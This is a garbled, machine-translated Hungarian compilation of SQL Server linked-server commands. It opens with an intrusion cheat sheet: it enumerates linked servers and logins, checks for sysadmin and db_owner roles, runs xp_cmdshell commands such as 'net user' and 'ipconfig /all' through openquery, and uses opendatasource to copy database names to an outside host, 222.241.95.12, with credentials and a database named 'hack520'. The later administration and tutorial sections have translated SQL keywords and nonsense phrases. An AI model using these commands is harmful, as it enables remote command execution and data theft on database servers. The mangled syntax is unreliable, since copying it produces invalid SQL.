e,isremote,rpc,dataaccess from master.dbo.sysservers kiválaszt
srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam
e,isremote,rpc,dataaccess from master.dbo.sysservers
Query linkserver2 select distinct hostname,db_name(dbid),net_address,loginame,program_name from
Mester... sysprocessesek
Lekérdezés a linkserverhez és más bejelentkezett felhasználók Válassz * from [192.168.1.1].master.dbo.syslogins
Query LinkServer Minden adatbázis select * from linkedSrvWeb.master.dbo.sysdatabases
Hosszabb tárolás végrehajtása a LinkServeren Végrehajtó [IP].master.dbo.xp_cmdshell
Lekérdezés az összes táblát a linkserveren Válassz * from [IP].master.dbo.sysobjects
Válassz * az openrowset
('sqloledb','server=IP; uid=user; pwd=password','select @@version')
select * from openquery([LINKSERVER
name],'select @@version')
select * from openquery(NDOORS,'select IS_SRVROLEMEMBER(''sysadmin'')')
select * from openquery(GM_SERVER,'select * from sysobjects, ahol xtype = (''U'')')
Válassz *
openquery(NDOORS,'Select IS_MEMBER(''db_owner'')')
select * from openquery(toatdeweb,'select
srvname a master.dbo.sysservers'-ből)
beillesztés az opendatasource-ba
('sqloledb','server=222.241.95.12; uid=scd; pwd=a123520; database=hack520').hack520.dbo.zhu select
Név a master.dbo.sysdatabases alapján create database hack520 Create TABLE zhu(name nvarchar(256)
null); Create TABLE J8(id int NULL,name nvarchar(256) null);
Válassz * az OpenQuery-ből
(toatdeweb, 'Állítsd ki FMTTONLY-t az Exec master.dbo.xp_cmdshell ''Net User'')
Végrehajtó mester.. xp_dirtree
'c:\',1,1 Végezzen lekérdezési könyvtárat
exec links.master.. xp_cmdshell 'ipconfig'
select * from openquery(toatdeweb,'set
fmtonly off exec master.dbo.xp_cmdshell ''ipconfig /all''')
Kapcsold a mysql Select * * a Mem_DB-ből. UserDB.dbo.AdminList
VÉGREHAJTÓ MESTER.. XP_dirtree 'c:\',1,1
Vezetőség
master.dbo.xp_cmdshell 'dir'
Válassz count(*) a [jelöl] helyről Kérdezd meg, mennyi adat van az aktuális táblában
select distinct hostname,db_name(dbid),net_address,loginame,program_name
A mestertől.. sysprocessesek
Válassz *-et a GameDB01-ből. Server01.dbo.cabal_character_table ahol név='
Disznó'
Amikor törlöd, azt írja: Az adatbázist használják, és nem törölhető.
Kattints a törölni kívánt adatbázisra, hogy megnyitod az Eseménynézőt.
Input:
Használat
mester Menj Ezután írja be a következőket: deklaráld @d varchar(8000) @d= ' ' select @d=@d+ ' Kill
'+cast(spid mint varchar)+char(13) A mestertől.. sysprocesszek, ahol dbid=db_id('könyvtár neve') exec(@d) -- Először töröld a kódot az adatbázishoz csatlakozó folyamathoz
Az MSSQL az Oracle LinkServeren keresztül üzemelteti
1) Telepítse az Oracle a SQL_SERVER 2005-ös szerverre
9i kliens. Tegyük fel, hogy telepítsük a C:\ora92i\ könyvtárba. Ha a D: egy NTFS partíció, akkor az ORACLE telepített könyvtárat kell beállítani a használt könyvtárnak
Az előfizetőknek joguk van futtatni, hozzáadni vagy törölni.
2) Konfiguráld a C:\ora92i\network\ADMIN\tnsnames.ora fájlt. (A következő piros szöveg egy konfiguráció példája)
ORCL=
(DEscrip{filter}tION=.)
(ADDRESS_LIST =
(ADDRESS = (PROTOKOLL = TCP)(HOST = 192.168.0.11)(PORT= 1521))
)
(CONNECT_DATA =
(SERVICE_NAME = orcl)
)
)
3) Futtasd a következő parancsot DOS módban, hogy megerősítsd, az ORACLE kliens helyesen van telepítve.
SQLPLUS felhasználó/password@ORCL
4) Nyisd meg a Start - Vezérlőpanel - Szolgáltatásokat, és erősítsd meg, hogy elindult a Distributed Transaction Coordinator szolgáltatás.
5) Megnyitja az SQL SERVER Management Studio-t, Instance Name (ORCL) - Server Object (jobb kattintás) - Új kapcsolati szerver.
1.
Link szerver: Írja meg a linkelt szerver nevét, például OracleTest
2. Szerver típus, válassz egy másik adatforrást
3. Hozzáférési felület: Select Oracle Provider for OLE DB
4. Terméknév: Write Oracle
5. Adatforrás: Írd meg
A tnsnames.ora fájlban konfigurált szolgáltatásnév, például ORCL
6. Hozzáférési interfész string: userid=sys mint sysdba; password=password
7. A Biztonsági beállítások kiválasztása oldalán ezt a telepítési kontextust használd a kapcsolat létrehozásához:
a) Távoli bejelentkezés: felhasználó (más felhasználó, nem rendszerrendszer)
b)
Jelszó használata: jelszó
8. Állítsd be a "NT AUTHORITY\SYSTEM" jelszót a helyi bejelentkezésen, távoli felhasználói rendszerrendszeren, és állítsd be a jelszót
9.
Biztos vagy benne
6) Az SQL írásának kétféleképpen van
a) T-SQL szintaxis használata:
VÁLASSZ * FROM
OraTest.ERP.BAS_ITEM_CLASS
Fontos megjegyezni, hogy amikor SQL utasításokat írsz be az SQL Query Analyzerbe, figyelj a kínai teljes szélességű és félszélességű váltásra
Óha!
b) Használj PLSQL szintaxist: SELECT * FROM openquery (OraTest,'SELECT * FROM
OraTest.ERP.BAS_ITEM_CLASS ')
c) A második hozzáférési módszer körülbelül 50%-kal gyorsabb, mint az első; A második hozzáférési mód közvetlenül kapcsolódik
Az ORACLE összehasonlítható; Az első hozzáférési módszer váratlan hibákhoz vezethet, például: A tábla nem létezik, vagy a jelenlegi felhasználó
Nincs hozzáférés az asztalhoz, és így tovább.
d) Ha a hozzáférhető oszlop precionitás nélküli adattípusokat használ, mindkettő
Ez az ORACLE hibája, amelyet nem lehet javítani, és csak speciális lekérdezési utasítások kezelésével lehet elkerülni:
Az OLE DB szolgáltató, az 'OraOLEDB.Oracle' által szolgáltatott metaadatok az oszlopokhoz eltérnek. A metaadat-információk végrehajtáskor változnak.
MSSQL hozzátette
Töröld a felhasználót, és adj engedélyeket
Használd a könyvtár nevét Menj --Felhasználók hozzáadása Exec sp_addlogin 'teszt' – bejelentkezés hozzáadása vezetője
sp_grantdbaccess N'test' – így legitim felhasználóvá válik a jelenlegi adatbázis sp_addrolemember N'db_owner' vezetője,
N'test' – minden engedélyt megad a saját adatbázisához --Ez olyan felhasználókat hoz létre, akik csak a saját adatbázisukat és az adatbázisba tartozó információkat érhetik el
Nyilvános táblázat vendégfelhasználók számára Menj --Távolítsa el a tesztfelhasználót exec sp_revokedbaccess N'test' – Eltávolítsák az adatbázishoz való hozzáférést
Határ exec sp_droplogin N'test' – töröld a bejelentkezést Ha Enterprise Managerben hozod létre, használd: Enterprise Manager - Biztonság
Szex --Jobb kattintással Bejelentkezés--Új bejelentkezés Általános tételek --Írd be a felhasználónevet a névbe
--A hitelesítési módszert az igényeid szerint választják ki (ha Windows hitelesítést használsz, először új felhasználót kell létrehoznod az operációs rendszer felhasználói közül)
--Az alapértelmezett beállításokban válaszd ki azt az adatbázis nevet, amelyet az új felhasználó számára meg akarsz férni Szerver szerep elem Ne válassz semmit ebben adatbázis
Hozzáférési elem Nézd meg annak az adatbázisnak a nevét, amelyhez a létrehozott felhasználó hozzáférni szeretnél Az adatbázis szerepben engedélyezve jelöld a "public", "db_ownew" opciókat Persze, ez
A minta által létrehozott felhasználó ugyanaz, mint a fenti állítás által létrehozott felhasználó
Az utolsó lépés a konkrét hozzáférési engedélyek beállítása adott felhasználók számára, amelyeket a következő minimális példa lehet megemlíteni:
--Hozzáadj olyan felhasználókat, akik csak a megadott táblához léphetnek hozzá: Végrehajtó sp_addlogin 'felhasználónév', 'jelszó', 'alapértelmezett adatbázis név'
--add fel az adatbázisba Executive sp_grantdbaccess 'felhasználónév'
--Teljes táblajogosultságok hozzárendelése MEGAD A VÁLASZTÁST, BEÉPÍTÉST, FRISSÍTÉST, TÖRLÉST a 1-es táblázaton [felhasználónévnek] --Jogosultságok rendelése konkrét oszlopokhoz MEGAD SELECT , FRISSÍTÉS A table1(id,AA) CÍMRE [felhasználónév]
Konkrét biztonsági beállításokhoz és elméleti ismeretekhez kérjük, tekintse meg az SQL Online Help oldalt
Fix adatbázis szerepleírás db_owner Teljes jogosultságokkal rendelkezel az adatbázisban.
db_accessadmin Hozzáadhatsz vagy törölhetsz felhasználói azonosítókat.
db_securityadmin Képes teljes jogosultságokat, objektumtulajdont, szerepeket és szereptagságokat kezelni.
db_ddladmin MINDEN DDL-t kiadhat, de nem GRANT, VISSZAVONÁS vagy TAGADÁS nyilatkozatokat.
db_backupoperator DBCC, CHECKPOINT és BACKUP utasításokat adhatnak ki.
db_datareader Minden adatot kiválaszthatsz az adatbázis bármely felhasználói táblájából.
db_datawriter Az adatbázis bármely felhasználói táblájában minden adatot megváltoztathatsz.
db_denydatareader Nem választhatsz adatokat egyetlen felhasználói táblából sem az adatbázisban.
db_denydatawriter Nem lehet megváltoztatni semmilyen adatot az adatbázis felhasználói táblájában.
Válassz db_datareader, db_datawriter, db_accessadmin
5. Miután az SQL Server példányt egyfelhasználós módban indították, a Windows adminisztrátori fiók a sqlcmd eszközt használhatja a Windows hitelesítési módban való csatlakozásra
SQL Server。 Használhatsz T-SQL parancsokat, például az "sp_addsrvrolemember"-t, hogy hozzáadj egy meglévő bejelentkezést a rendszergazdálkodó szerver szerepéhez
vagy hozz létre új bejelentkezési fiókot. Egy példaállítás a következő:
EXECUTIVE sp_addsrvrolemember 'CONTOSO\Buck', 'rendszergazdálkodó';
MENJ
Adj hozzá egy rendszergazdai jogosultságot
(1) Szerverszerepek kezelése
Az SQL Serverben két fő tárolt eljárás létezik, amelyek SQL Server szerepkezelést valósítanak meg:
sp_addsrvrolemember
és sp_dropsrvrolemember
sp_addsrvrolemember Hozzáadhatsz bejelentkezési fiókot egy szerver szerephez, hogy az is tagja legyen annak a szerverszerepnek. A szintaxis a következő: sp_addsrvrolemember
bejelentkezés, szerep
sp_dropsrvrolemember Törölhetsz bejelentkezési fiókot egy szerver szerepből, és amikor a tag eltávolítja a szerver szerepéből, már nem rendelkezik az a szerver szerepe
A jogosultságok beállítva. A szintaxis a következő: sp_dropsrvrolemember [@loginname=]'login',[@rolename=]'role'
Innen
@loginname a bejelentkezett felhasználó neve; @rolename szerver szerep.
(2) Adatbázis-szerepek kezelése
Az SQL Serverben az adatbázis-kezelés támogatott
Hat fő tároló eljárástípus létezik, és azok konkrét jelentései, valamint szintaxisa a következők:
sp_addrole: Új adatbázis szerep létrehozásához használták; sp_addrole
Szerep, tulajdonos
sp_droprole: Egy adatbázis szerep eltávolítására használták a jelenlegi adatbázis szerepből; sp_droprole szerep
sp_helprole:
A jelenlegi adatbázis összes adatbázis szerepéről szóló információt megjelenítik; sp_helprole ['szerep']
sp_addrolemember: Adatbázisba küldésre használták
Adatbázis-felhasználókat adjunk hozzá egy szerephez, amelyek lehetnek felhasználó által definiált szabványos szerepek vagy fix adatbázis szerepek, de nem lehetnek azok
Alkalmazási szerepek. sp_addrolemember szerep, security_account
sp_droprolemember: Egy bizonyos karakter törlésére használták
háztartás; sp_droprolemember szerep, security_account
sp_helprolemember: Egy adatbázis szerep összes tagjának megjelenítésére szolgál
。 sp_helprolemember ['szerep']
MSSQL LINKSERVER query
---------------------------------------------------------------------------------- -- Szerző:
htl258(Tony) -- Dátum: 2010-06-25 22:23:18 -- Verzió: Microsoft SQL Server 2008 (RTM) -
10.0.1600.22 (Intel X86) -- 2008. július 9., 14:43:34 -- Szerzői jog (c) 1988-2008 Microsoft Corporation --
Fejlesztő kiadás Windows NT 5.1-en (Build 2600: Service Pack 2) -- Blog : -- Tárgy: SQL adatműveletek különböző szerveradatbázisok között ---------------------------------------------------------------------------------- --1. Hozzon létre egy link szervert --1.1 Hozzon létre egy link nevet EXEC sp_addlinkedserver 'LinkName','','SQLOLEDB',' a távoli szerver neve
vagy IP-címet' -- Ha van egyedi példány neve, add hozzá a "\instance name"
/*例如:EXEC sp_addlinkedserver
'TonyLink','','SQLOLEDB','192.168.58.208' */ --1.2 Hozz létre bejelentkezést (vagy hozzon létre egy link szerver bejelentkezési térképet) (csak válassz egy irányt) --1.2.1 Bejelentkezés Windows hitelesítéssel EXECUTIVE sp_addlinkedsrvlogin 'LinkName' --vagy EXECUTIVE sp_addlinkedsrvlogin 'LinkName', 'true'
/*例如:EXEC sp_addlinkedsrvlogin 'TonyLink' */ --1.2.2 SQL hitelesítéssel jelentkezz be EXECUTIVE sp_addlinkedsrvlogin 'LinkName','hamis', NULL,'Felhasználónév','Jelszó'
/*例如:EXEC
sp_addlinkedsrvlogin 'TonyLink','false',null,'sa','123' */ --2. Link szerverrel kapcsolatos adatműveletek --2.1 Lekérdezési példa SELECT * FROM LinkName.database name.schema name.table name
/*例如:SELECT *
FORRÁS: TonyLink.Mydb.dbo.tb */ -- 2.2 Import példa SELECT * ENTER ENTER tábla név FROM LinkName.database name.schema name.table name
/*例如:SELECT * INTO Newtb
FORRÁS: TonyLink.Mydb.dbo.tb */ -- 2.3 Frissítési példa FRISSÍTÉS: LinkName.Database Name.Schema Name.Tábla név SET field='value' WHERE mező='feltétel'
/*例如:UPDATE
TonyLink.Mydb.dbo.tb SET személyek='g' HOL személyek='a' */ -- 2.4 Példák törlése TÖRÖLJ: LinkName.Database Name.Schema Name.Table Name WHERE mező name='feltétel'
/*例如:DELETE
TonyLink.Mydb.dbo.tb WHERE személyek='g' */ --3 sorkészlet funkcióval (OPENQUERY/OPENROWSET/OPENDATASOURCE).
Módszer
- 3.1 OPENQUERY módszer (a létrehozott link szerver segítségére van szükség): -- 3.1.1 Lekérdezés példa SELECT * FROM OPENQUERY(LinkName, 'SELECT * FROM database name. Építészet neve. tábla név')
/* Például: SELECT * FROM OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') */ -- 3.1.2 Import-példák --3.1.2.1 Importáld az összes oszlopot INSERT OPENQUERY(LinkName, 'SELECT * FROM adatbázis név. Építészet neve. Táblázat neve
') SELECT * FROM LOCAL TABLE
/* 例如:INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb') SELECT *
FROM TB */ --3.1.2.2 Importáljuk a megadott oszlopokat INSERT OPENQUERY(LinkName, 'SELECT * FROM adatbázis név. Építészet neve. tábla név') (oszlop, oszlop...) SELECT oszlop,
Oszlop... A helyi táblázatból
/* Például: INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb')(RANGE,LEVEL,Személyek) KIVÁLASZT
TÁVOLSÁG, SZINT, SZEMÉLYEK TB-ből */ --3.1.3 Frissítések példái FRISSÍTÉS OPENQUERY(LinkName, 'SELECT * FROM adatbázis név. Építészet neve. tábla név') SET mező = 'érték' HOL szó
Szegmens = 'Állapot'
/*例如:UPDATE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') SET Persons='g' WHERE
Persons='a' */ --3.1.4 Példák törlése DELETE OPENQUERY(LinkName, 'SELECT * FROM adatbázis név. Építészet neve. table name') WHERE mező name='feltétel'
/*例
Például: DELETE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') WHERE Persons='g' */ --3.2 OPENROWSET módszerrel (nem kell a létrehozott link nevet használnod.) Ha a csatlakoztatott példány neve nem az alapértelmezett beállítás, akkor sql szerver nevet vagy IP-címet kell beállítani.
"\instance name") --3.2.1 Lekérdezés példa --3.2.1.1 Windows hitelesítési módszer lekérdezés (az alábbi módszerek egyike elegendő) VÁLASSZ * FROM OPENROWSET('SQLOLEDB', 'server=sql szerver név vagy
IP-cím; Trusted_Connection=igen', adatbázis név. Építészet neve. Táblázat neve) SELECT * FROM OPENROWSET('SQLNCLI',
'server=sql szerver név vagy IP-cím; Trusted_Connection=igen', adatbázis név. Építészet neve. Táblázat neve) VÁLASSZ * FROM
OPENROWSET('SQLOLEDB', 'server=sql szerver név vagy IP-cím; Trusted_Connection=yes','SELECT * FROM adatbázisból
Név. Építészet neve. tábla név') SELECT * FROM OPENROWSET('SQLNCLI', 'server=sql szerver név vagy IP cím
Cím; Trusted_Connection=yes','SELECT * FROM adatbázis név. Építészet neve. tábla név')
/* Például: SELECT * FROM OPENROWSET
('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=yes',Mydb.dbo.tb)
Vagy: VÁLASSZ * AZ OPENROWSET-BŐL
('SQLNCLI','Server=192.168.58.208; Trusted_Connection=yes',Mydb.dbo.tb)
Vagy: SELECT * FROM OPENROWSET('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=igen','SELECT *
FROM Mydb.dbo.tb')
Vagy: SELECT * FROM OPENROWSET('SQLNCLI','Server=192.168.58.208; Trusted_Connection=igen','SELECT *
FROM Mydb.dbo.tb') */ --3.2.1.2 SQL hitelesítési módszer lekérdezés (Az alábbi módszerek egyike elegendő) VÁLASSZ * AZ OPENROWSETBŐL
('SQLOLEDB', 'server=sql szerver név vagy IP-cím; uid=felhasználónév; pwd=jelszó', adatbázis név. Építészet neve. Táblázat neve) VÁLASSZ * FROM
OPENROWSET('SQLNCLI', 'server=sql szerver név vagy IP-cím; uid=felhasználónév; pwd=jelszó', adatbázis név. Építészet neve. Táblázat neve) VÁLASSZ * FROM OPENROWSET('SQLOLEDB', 'server=sql szerver név vagy IP-cím; uid=felhasználónév; pwd=password','SELECT *
FROM adatbázis név. Építészet neve. tábla név') VÁLASSZ * FROM OPENROWSET ('SQLNCLI', 'server=sql szerver név vagy IP-cím; uid=
Felhasználónév; pwd=password','SELECT * FROM adatbázis név. Építészet neve. tábla név') SELECT * FROM OPENROWSET('SQLOLEDB', 'sql
szerver név'; 'felhasználónév'; 'jelszó', adatbázis név. Építészet neve. Táblázat neve) VÁLASSZ * FROM OPENROWSET('SQLNCLI', 'SQL SZERVER NÉV
'; 'felhasználónév'; 'jelszó', adatbázis név. Építészet neve. Táblázat neve) VÁLASSZ * FROM OPENROWSET('SQLOLEDB', 'SQL SERVER NAME'; ' felhasználó
név'; 'Jelszó', 'SELECT * FROM adatbázis név. Építészet neve. tábla név') SELECT * FROM OPENROWSET('SQLNCLI', 'ql szerver
név'; 'felhasználónév'; 'Jelszó', 'SELECT * FROM adatbázis név. Építészet neve. tábla név')
/* 例如:SELECT * FROM OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) Vagy: VÁLASSZ * AZ OPENROWSET-BŐL
('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) Vagy: VÁLASSZ * AZ OPENROWSET-BŐL
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123','SELECT * FROM Mydb.dbo.tb')
vagy: SELECT * FROM OPENROWSET('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123','SELECT * FROM
Mydb.dbo.tb')
vagy: VÁLASSZ * AZ OPENROWSET-BŐL ('SQLOLEDB','192.168.58.208'; 'sa'; '123', mydb.dbo.tb)
vagy: VÁLASSZ * AZ OPENROWSET-BŐL ('SQLNCLI','192.168.58.208'; 'sa'; '123', mydb.dbo.tb)
vagy: VÁLASSZ * AZ OPENROWSET-BŐL ('SQLOLEDB','192.168.58.208'; 'sa'; '123','SELECT * FROM Mydb.dbo.tb')
vagy: VÁLASSZ * AZ OPENROWSET-BŐL ('SQLNCLI','192.168.58.208'; 'sa'; '123','SELECT * FROM Mydb.dbo.tb') */ --3.2.2 Import példa --3.2.2.1 Importáld az összes oszlopot INSERT OPENROWSET('SQLOLEDB', 'server=sql szerver név vagy IP-cím
Cím; uid=felhasználónév; pwd=jelszó', adatbázis név. Építészet neve. Táblázat neve) SELECT * FROM LOCAL TABLE
/* 例如:INSERT OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) VÁLASSZ * A TB TÍPUSBÓL */ --3.2.2.2 Import
Oszlopok megadása INSERT OPENROWSET('SQLOLEDB', 'server=sql szerver név vagy IP-cím; uid=felhasználónév; pwd=jelszó', adatbázis név. Rack
Construct név. Tábla név) (oszlop, oszlop...) SELECT oszlop, oszlop... A helyi táblázatból
/* 例如:INSERT OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)(TARTOMÁNY, SZINT, Személyek) KIVÁLASZT
TÁVOLSÁG, SZINT, SZEMÉLYEK TB-ből */ --Megjegyzés: További alternatív módszerekért lásd a .2.1 lekérdezési példát, csak cseréld le az OPENROWSET függvényt
A tartalom elegendő. --3.2.3 Frissítési példa FRISSÍTÉS OPENROWSET('SQLOLEDB', 'server=sql szerver név vagy IP-cím; uid=felhasználónév
;p wd=password', adatbázis név. Építészet neve. Táblázat neve) SET mező = 'érték' WHERE mező = 'feltétel'
/*例如:UPDATE OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) SET Személyek='g' HOL Személyek='a' */ --Megjegyzés: További alternatív módszerekért lásd a .2.1 lekérdezési példát, egyszerűen cseréld le a tartalmat az OPENROWSET-ben. --3.2.4 Töröld a jelzést
Példa DELETE OPENROWSET('SQLOLEDB', 'server=sql szerver név vagy IP-cím; uid=felhasználónév; pwd=jelszó', adatbázis név. Séma neve
.tábla név) WHERE mező név='feltétel'
/* Például: DELETE OPENROWSET('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) AHOL
Személyek='g' */ --Megjegyzés: További alternatív módszerekért lásd a .2.1 lekérdezés példáját, egyszerűen cseréld le a tartalmat az OPENROWSET-ben. --3.3 OPENDATASOURCE módszer
(Nem kell használni a létrehozott link nevet.) Ha a kapcsolat példányneve nem alapértelmezett érték, akkor \instance name-t kell hozzáadni a SQL szerver neve vagy IP-címe után
") --3.3.1 Lekérdezési példa --3.3.1.1 Windows hitelesítési módszer lekérdezés (Az alábbi módszerek egyike elegendő) SELECT * FROM OPENDATASOURCE('SQLOLEDB',
'server=sql szerver név vagy IP-cím; Trusted_Connection=igen'). Adatbázis név. Építészet neve. Táblázat neve VÁLASSZ * FROM
OPENDATASOURCE('SQLNCLI', 'server=sql szerver név vagy IP-cím; Trusted_Connection=igen'). Adatbázis név. Építészet neve.
Táblázat neve
/* Például: SELECT * FROM OPENDATASOURCE
('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=igen'). Mydb.dbo.tb
Vagy: SELECT * FROM OPENDATASOURCE
('SQLNCLI','Server=192.168.58.208; Trusted_Connection=igen'). Mydb.dbo.tb */ --3.3.1.2 SQL hitelesítési módszer lekérdezés (az alábbi módszerek egyike elegendő) VÁLASSZ * FROM OPENDATASOURCE('SQLOLEDB', 'server=sql szerver név vagy
IP-cím; uid=felhasználónév; pwd=jelszó'). Adatbázis név. Építészet neve. Táblázat neve VÁLASSZ * A OPENDATASOURCE('SQLNCLI', 'server=sql szerver neve vagy IP-cím; uid=user
Név; pwd=jelszó'). Adatbázis név. Építészet neve. Táblázat neve SELECT * FROM OPENDATASOURCE('SQLOLEDB', 'Data Source=sql szerver név vagy IP-cím
Cím; uid=felhasználónév; pwd=jelszó'). Adatbázis név. Építészet neve. Táblázat neve VÁLASSZ * FROM OPENDATASOURCE('SQLNCLI', 'Data Source=sql szerver név vagy IP-cím
Cím; uid=felhasználónév; pwd=jelszó'). Adatbázis név. Építészet neve. Táblázat neve
/* 例如:SELECT * FROM OPENDATASOURCE
('SQLOLEDB','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
Vagy: SELECT * FROM OPENDATASOURCE('SQLNCLI','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
Vagy: SELECT * FROM OPENDATASOURCE('SQLOLEDB','Data
forrás=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
Vagy: SELECT * FROM OPENDATASOURCE('SQLNCLI','Data
source=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb */ Importálj minden oszlopot INSERT OPENDATASOURCE('SQLOLEDB', 'server=sql szerver neve vagy IP-cím; uid=felhasználónév; pwd=jelszó').
A könyvtár neve szerint. Építészet neve. Táblázat neve SELECT * FROM LOCAL TABLE
/* Például: INSERT OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb KIVÁLASZT
* A TB-től */ --3.3.2.2 Importáljuk a megadott oszlopokat INSERT OPENDATASOURCE('SQLOLEDB', 'server=sql szerver neve vagy IP-cím; uid=felhasználónév; pwd=jelszó').
A könyvtár neve szerint. Építészet neve. Tábla neve (oszlop, oszlop...) SELECT oszlop, oszlop... A helyi táblázatból
/* Például: INSERT OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
(TÁVOLSÁG, SZINT, Személyek) VÁLASSZ TARTOMÁNYT, SZINTET, SZEMÉLYEKET A TUBERKULOOSIÓBÓL */ --Megjegyzés: További alternatív módszerekért lásd a .3.1-es lekérdezési példát, csak cseréld le a tartalmat a sorhalmaz függvényben (OPENDATASOURCE). --3.3.3 Frissítési példa FRISSÍTÉS OPENDATASOURCE('SQLOLEDB', 'server=sql szerver név vagy IP-cím; uid=felhasználónév; pwd=jelszó'). Adatbázis név. Építészet neve. Táblázat neve SET mező = 'érték' WHERE mező = 'feltétel'
/*例如:UPDATE OPENDATASOURCE
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb SET Személyek='g' HOL Személyek='a' */ --Megjegyzés: További alternatív módszerekért lásd a .3.1-es lekérdezési példát, csak cseréld le a tartalmat a sorhalmaz függvényben (OPENDATASOURCE). --3.3.4 Törlés példája TÖRÖLD OPENDATASOURCE('SQLOLEDB', 'server=sql szerver neve vagy IP-cím; uid=felhasználónév; pwd=jelszó'). Adatbázis név. Építészet neve. Táblázat neve WHERE mező név='feltétel'
/*例如:DELETE OPENDATASOURCE
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb HOL személyek='g' */ - Megjegyzés: További alternatívák
Lásd a .3.1 lekérdezés példát, egyszerűen cseréld le a tartalmat a sorhalmaz függvényben (OPENDATASOURCE). -- Töröld a linked server módszert --Ha a jövőben már nem használod a linkinformációt, törölheted a linkinformációt --4.1 Bejelentkezési adatok törlése (vagy a linkelt szerver bejelentkezési névtérkép törlése) EXECUTIVE sp_droplinkedsrvlogin 'LinkName', NULL
/* Például: EXEC sp_droplinkedsrvlogin 'TonyLink', NULL */ --4.2 Töröld a kapcsolt szerver nevét EXEC sp_dropserver 'LinkName', 'droplogins' – ha droploginokat meg van jelölve, A bejelentkezési térképet törölni kell a csatolt szerver törlése előtt
/*例如:EXEC sp_dropserver 'TonyLink','droplogins' */
--Csatolva
: Hogyan lehet megszerezni a szolgáltató nevét (EXECUTIVE master). xp_enum_oledb_providers) SELECT CAST([Szolgáltató Név] AS
VARCHAR(30)) ProviderName, CAST([Provider Descrip{filtering}tion] AS VARCHAR(60)) ProviderDescrip{filtering}tion FROM
OPENROWSET( 'SQLOLEDB', 'Szerver=.; Trusted_Connection=igen', 'INDÍTSD BE FMTONLYT; VEZETŐSÉG
Mester... xp_enum_oledb_providers'
)
|